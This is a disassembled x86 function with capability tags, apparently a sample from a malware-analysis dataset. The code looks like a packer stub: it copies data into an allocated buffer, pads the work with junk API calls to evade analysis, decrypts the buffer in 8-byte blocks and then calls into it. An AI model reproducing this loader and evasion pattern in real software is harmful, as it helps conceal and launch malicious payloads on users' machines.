Function at 0x406ee5
Capabilities:
Create directory
Delete directory
Get common file path
Get disk information
Get geographical location
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20b8
call fcn.004100c0
mov ecx, dword [0x1a25b24]
push ebx
push esi
push edi
cmp ecx, 0x93
je 0x407127
mov eax, dword [0x41e918]
add ecx, 0x1134b
push ecx
xor esi, esi
mov dword [0x1a26588], eax
push esi
mov dword [0x1a25b24], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x1a25a78], eax
call fcn.00406e69
mov edi, 0x29156e
push esi
lea eax, [ebp - 0x8b8]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec edi
jne 0x406f36
mov ecx, dword [0x1a25b24]
mov edi, esi
test ecx, ecx
je 0x406fbb
mov eax, dword [0x1a26588]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x1a25a78]
mov byte [eax + edi], cl
mov ecx, dword [0x1a25b24]
cmp ecx, 0x490
jne 0x406fb6
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_StretchDIBits]
lea eax, [ebp - 0xb8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x24]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0x406470
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [0x1a25b24]
inc edi
cmp edi, ecx
jb 0x406f53
mov edi, esi
lea eax, [ecx + edi]
cmp eax, 0x8d
jne 0x40704e
push 0x4064d0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0xcb8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetClassInfoA]
push esi
push esi
call dword [sym.imp.USER32.dll_CharLowerBuffA]
push esi
lea eax, [ebp - 0x14b8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x20b8]
push eax
push 0x40645c
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push esi
lea eax, [ebp - 0x18b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
lea eax, [ebp - 0x4b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, dword [0x1a25b24]
inc edi
cmp edi, 0x38681
jl 0x406fbd
mov ebx, dword [0x1a25a78]
mov edi, ecx
shr edi, 3
test edi, edi
je 0x407096
cmp ecx, 0x959
jne 0x407081
push esi
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov ecx, ebx
call fcn.00406cb7
add ebx, 8
dec edi
je 0x407096
mov ecx, dword [0x1a25b24]
jmp 0x40706a
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x4070b6
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x5f25
mov eax, dword [ebp - 4]
add dword [0x1a25a78], eax
inc edi
cmp edi, 0x674db
jl 0x407098
push 0x7b
pop edi
cmp dword [0x1a25b24], 0x86
jne 0x40710c
push esi
push esi
push esi
push esi
push esi
push esi
push 0x406570
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
lea eax, [ebp - 0x4b8]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
dec edi
jne 0x4070c2
push 0x406598
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x1a25a78]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
lock bts dword [eax], 0
xor esi, esi
lea eax, [ebp - 0xcb8]
push esi
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
lea eax, [ebp - 0x8b8]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
push esi
call fcn.00408ee8
movss xmm0, dword [0x406654]
pop ecx
cvtps2pd xmm0, xmm0
push esi
push ecx
push ecx
movsd qword [esp], xmm0
call fcn.0040883d
add esp, 0xc
fstp st(0)
call fcn.004090a4
int3